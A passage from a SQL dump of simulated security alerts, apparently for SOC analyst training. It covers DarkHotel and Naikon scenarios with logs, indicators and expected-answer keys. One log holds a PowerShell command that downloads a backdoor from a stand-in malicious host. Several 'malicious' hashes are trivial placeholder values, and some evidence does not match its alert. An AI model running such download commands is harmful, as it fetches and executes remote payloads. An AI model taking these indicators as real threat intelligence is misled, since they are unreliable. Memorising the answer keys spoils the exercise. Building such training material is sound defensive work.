AM\",\"flag\":true}]}}', 0),
(475, 'Exfiltration of Sensitive Data', 'critical', 'Data loss prevention alerts', 'The final phase of the attack involves exfiltrating sensitive information from the executive\'s device to an external server controlled by DarkHotel, completing their malicious objectives.', 'Exfiltration', 'T1048.003 - Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-05T14:23:45.123Z\",\"event_type\":\"data_exfiltration\",\"source_ip\":\"10.0.0.25\",\"destination_ip\":\"203.0.113.45\",\"destination_port\":\"8080\",\"protocol\":\"HTTP\",\"username\":\"jdoe_exec\",\"filename\":\"Executive_Report_Q3_2023.pdf\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"alert_source\":\"DLP\",\"threat_actor\":\"DarkHotel\",\"external_server\":\"malicious-server.example.com\"}', '2026-01-05 03:04:49', '2026-02-16 18:20:30', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the source device.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence\",\"verdict\":\"malicious\",\"details\":\"IP address associated with DarkHotel APT group.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"Executive_Report_Q3_2023.pdf\",\"is_critical\":false,\"osint_result\":{\"source\":\"file_analysis\",\"verdict\":\"suspicious\",\"details\":\"Sensitive document containing executive data.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"File hash matches known malicious files used by DarkHotel.\"}},{\"id\":\"artifact_5\",\"type\":\"domain\",\"value\":\"malicious-server.example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"domain_reputation\",\"verdict\":\"malicious\",\"details\":\"Domain known to be used by DarkHotel for data exfiltration.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Advanced', 'DLP', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.084Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45.123Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.0.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":\\\"8080\\\",\\\"protocol\\\":\\\"HTTP\\\",\\\"username\\\":\\\"jdoe_exec\\\",\\\"filename\\\":\\\"Executive_Report_Q3_2023.pdf\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"alert_source\\\":\\\"DLP\\\",\\\"threat_actor\\\":\\\"DarkHotel\\\",\\\"external_server\\\":\\\"malicious-server.example.com\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.084Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45.123Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.0.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":\\\"8080\\\",\\\"protocol\\\":\\\"HTTP\\\",\\\"username\\\":\\\"jdoe_exec\\\",\\\"filename\\\":\\\"Executive_Report_Q3_2023.pdf\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"alert_source\\\":\\\"DLP\\\",\\\"threat_actor\\\":\\\"DarkHotel\\\",\\\"external_server\\\":\\\"malicious-server.example.com\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.084Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45.123Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.0.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":\\\"8080\\\",\\\"protocol\\\":\\\"HTTP\\\",\\\"username\\\":\\\"jdoe_exec\\\",\\\"filename\\\":\\\"Executive_Report_Q3_2023.pdf\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"alert_source\\\":\\\"DLP\\\",\\\"threat_actor\\\":\\\"DarkHotel\\\",\\\"external_server\\\":\\\"malicious-server.example.com\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.084Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45.123Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.0.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":\\\"8080\\\",\\\"protocol\\\":\\\"HTTP\\\",\\\"username\\\":\\\"jdoe_exec\\\",\\\"filename\\\":\\\"Executive_Report_Q3_2023.pdf\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"alert_source\\\":\\\"DLP\\\",\\\"threat_actor\\\":\\\"DarkHotel\\\",\\\"external_server\\\":\\\"malicious-server.example.com\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.084Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:45.123Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.0.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":\\\"8080\\\",\\\"protocol\\\":\\\"HTTP\\\",\\\"username\\\":\\\"jdoe_exec\\\",\\\"filename\\\":\\\"Executive_Report_Q3_2023.pdf\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"alert_source\\\":\\\"DLP\\\",\\\"threat_actor\\\":\\\"DarkHotel\\\",\\\"external_server\\\":\\\"malicious-server.example.com\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(476, 'Suspicious Email with Malicious RTF Attachment Detected', 'medium', 'Email Security Gateway', 'A spear-phishing email was detected targeting a regional government employee. The email contained a RoyalRoad RTF file, commonly used by Naikon APT to exploit vulnerabilities in Microsoft Word for initial access.', 'Phishing', 'T1566.001', 1, 'Closed', 1, '{\"timestamp\":\"2023-10-24T09:15:27Z\",\"email_id\":\"b7f9a85d-083f-4d6b-9c6f-f22a3fc1e9b1\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.2.15\",\"sender_email\":\"attacker@maliciousdomain.com\",\"recipient_email\":\"employee@regionalgov.org\",\"subject\":\"Urgent: Review Attached Document\",\"attachment\":{\"filename\":\"important_document.rtf\",\"hash\":\"a4b9c78cb6f1a2b3d4e5f6a7b8c9d0e1\"},\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36\"}', '2026-01-05 03:08:29', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feeds\",\"verdict\":\"malicious\",\"details\":\"IP associated with Naikon APT activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.2.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of recipient.\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"attacker@maliciousdomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Email Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Known phishing domain used by APT groups.\"}},{\"id\":\"artifact_4\",\"type\":\"email\",\"value\":\"employee@regionalgov.org\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"clean\",\"details\":\"Legitimate email of a regional government employee.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"a4b9c78cb6f1a2b3d4e5f6a7b8c9d0e1\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Platform\",\"verdict\":\"malicious\",\"details\":\"Hash associated with RoyalRoad exploit documents.\"}},{\"id\":\"artifact_6\",\"type\":\"filename\",\"value\":\"important_document.rtf\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"malicious\",\"details\":\"Filename commonly used in spear-phishing campaigns.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Beginner', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Email with Malicious RTF Attachment Detected\",\"date\":\"2026-02-01T20:32:19.085Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(477, 'Execution of Malicious Payload via RoyalRoad Exploit', 'high', 'Endpoint Detection and Response (EDR)', 'Upon opening the RTF document, the RoyalRoad exploit triggers, executing a script that downloads the Aria-body backdoor onto the target\'s system.', 'Malware Execution', 'T1203: Exploitation for Client Execution', 1, 'resolved', 34, '{\"timestamp\":\"2023-10-15T14:22:31Z\",\"event_id\":\"EDR-456789\",\"source_ip\":\"203.0.113.15\",\"destination_ip\":\"10.0.0.25\",\"user\":\"jdoe\",\"file_name\":\"malicious_document.rtf\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"process_executed\":\"powershell.exe -Command Invoke-WebRequest -Uri http://malicious-site.com/aria-body.exe -OutFile C:\\\\Temp\\\\aria-body.exe\",\"malware_hash\":\"4a8a08f09d37b73795649038408b5f33\",\"action_taken\":\"Quarantine\"}', '2026-01-05 03:08:29', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal network IP.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"malicious_document.rtf\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"suspicious\",\"details\":\"File involved in RoyalRoad exploit delivery.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash linked to malicious RTF documents.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"4a8a08f09d37b73795649038408b5f33\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Aria-body malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(478, 'Aria-body Backdoor Establishes Persistence', 'medium', 'System Logs', 'The Aria-body backdoor has been detected establishing persistence by creating a scheduled task. This ensures the malware runs at system startup, maintaining access on the compromised machine.', 'Persistence Mechanism', 'T1053.005 - Scheduled Task/Job', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:32:07Z\",\"event_id\":4698,\"task_name\":\"\\\\Microsoft\\\\Windows\\\\Update\\\\Aria-body\",\"task_action\":\"Create\",\"task_author\":\"SYSTEM\",\"task_trigger\":\"At startup\",\"executed_by\":\"192.168.1.15\",\"malware_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"filename\":\"aria-body.exe\",\"user\":\"compromised_user\",\"source_ip\":\"203.0.113.45\"}', '2026-01-05 03:08:29', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Local IP address within the internal network.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Public Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known malicious activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified as a variant of the Aria-body malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"aria-body.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Public Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"File associated with Aria-body backdoor malware.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"suspicious\",\"details\":\"User account potentially compromised and used for unauthorized activities.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Beginner', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.087Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:07Z\\\",\\\"event_id\\\":4698,\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Update\\\\\\\\Aria-body\\\",\\\"task_action\\\":\\\"Create\\\",\\\"task_author\\\":\\\"SYSTEM\\\",\\\"task_trigger\\\":\\\"At startup\\\",\\\"executed_by\\\":\\\"192.168.1.15\\\",\\\"malware_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"aria-body.exe\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.087Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:07Z\\\",\\\"event_id\\\":4698,\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Update\\\\\\\\Aria-body\\\",\\\"task_action\\\":\\\"Create\\\",\\\"task_author\\\":\\\"SYSTEM\\\",\\\"task_trigger\\\":\\\"At startup\\\",\\\"executed_by\\\":\\\"192.168.1.15\\\",\\\"malware_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"aria-body.exe\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.087Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:07Z\\\",\\\"event_id\\\":4698,\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Update\\\\\\\\Aria-body\\\",\\\"task_action\\\":\\\"Create\\\",\\\"task_author\\\":\\\"SYSTEM\\\",\\\"task_trigger\\\":\\\"At startup\\\",\\\"executed_by\\\":\\\"192.168.1.15\\\",\\\"malware_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"aria-body.exe\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.087Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:07Z\\\",\\\"event_id\\\":4698,\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Update\\\\\\\\Aria-body\\\",\\\"task_action\\\":\\\"Create\\\",\\\"task_author\\\":\\\"SYSTEM\\\",\\\"task_trigger\\\":\\\"At startup\\\",\\\"executed_by\\\":\\\"192.168.1.15\\\",\\\"malware_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"aria-body.exe\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.087Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:07Z\\\",\\\"event_id\\\":4698,\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Update\\\\\\\\Aria-body\\\",\\\"task_action\\\":\\\"Create\\\",\\\"task_author\\\":\\\"SYSTEM\\\",\\\"task_trigger\\\":\\\"At startup\\\",\\\"executed_by\\\":\\\"192.168.1.15\\\",\\\"malware_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"filename\\\":\\\"aria-body.exe\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(479, 'Lateral Movement Detected Across Internal Network', 'high', 'Network Traffic Analysis', 'Using stolen credentials, the attacker moves laterally within the network, targeting additional systems to widen their access and control. The attacker used RDP connections to access a critical server using the account j.doe.', 'Lateral Movement', 'T1078: Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-16T13:45:23Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.23\",\"protocol\":\"RDP\",\"username\":\"j.doe\",\"event\":\"Successful login\",\"hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"filename\":\"malicious.exe\"}', '2026-01-05 03:08:29', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"IP database\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with previous attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal asset database\",\"verdict\":\"internal\",\"details\":\"Internal company server\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal user database\",\"verdict\":\"suspicious\",\"details\":\"Account accessed from external IP\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"malicious.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware database\",\"verdict\":\"malicious\",\"details\":\"File associated with lateral movement activities\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(480, 'Data Exfiltration to Command and Control Server', 'high', 'Firewall Logs', 'Sensitive data has been exfiltrated from the internal network to an external command and control server. The attacker used a domain that mimics a legitimate regional government site to avoid detection. This activity is consistent with Naikon APT operations focused on espionage.', 'Data Exfiltration', 'T1041', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:37:22Z\",\"src_ip\":\"192.168.1.45\",\"dst_ip\":\"203.0.113.56\",\"src_port\":45678,\"dst_port\":443,\"protocol\":\"TCP\",\"action\":\"ALLOW\",\"hostname\":\"internal-host.local\",\"domain\":\"gov-info-update.com\",\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"username\":\"jdoe\",\"filename\":\"confidential_report.pdf\",\"event_id\":\"FW-EXFIL-20231015-001\"}', '2026-01-05 03:08:29', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal network IP.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.56\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"Known command and control server associated with Naikon APT.\"}},{\"id\":\"artifact_3\",\"type\":\"domain\",\"value\":\"gov-info-update.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"domain_watch\",\"verdict\":\"suspicious\",\"details\":\"Domain mimics a legitimate government site, commonly used for phishing.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"malicious\",\"details\":\"File hash associated with malicious exfiltration tool.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"confidential_report.pdf\",\"is_critical\":true,\"osint_result\":{\"source\":\"file_analysis\",\"verdict\":\"suspicious\",\"details\":\"File contains sensitive information and was involved in exfiltration.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(481, 'Suspicious Login Detected', 'medium', 'CMS Security Logs', 'An unauthorized login attempt was detected on the news website\'s CMS. The user\'s credentials were likely harvested through a phishing email. The attempt was made from a known malicious IP address.', 'Initial Access', 'T1078: Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-07T14:23:56Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.5\",\"username\":\"j.smith@newswebsite.com\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36\",\"login_status\":\"failed\",\"reason\":\"invalid_credentials\",\"related_email\":\"phishing_campaign@maliciousdomain.com\",\"malicious_url\":\"http://maliciousdomain.com/login\",\"hash\":\"3c3f4d4e2b5c6d7e8f9a1b2c3d4e5f6a\"}', '2026-01-05 03:22:52', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP address associated with multiple phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"j.smith@newswebsite.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"internal\",\"details\":\"Registered CMS user.\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://maliciousdomain.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"Open Source Intelligence\",\"verdict\":\"malicious\",\"details\":\"URL used in phishing campaigns to harvest credentials.\"}},{\"id\":\"artifact_4\",\"type\":\"email\",\"value\":\"phishing_campaign@maliciousdomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Email Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Email address used for phishing campaigns.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"3c3f4d4e2b5c6d7e8f9a1b2c3d4e5f6a\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis\",\"verdict\":\"malicious\",\"details\":\"Hash associated with credential-stealing malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Beginner', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.089Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 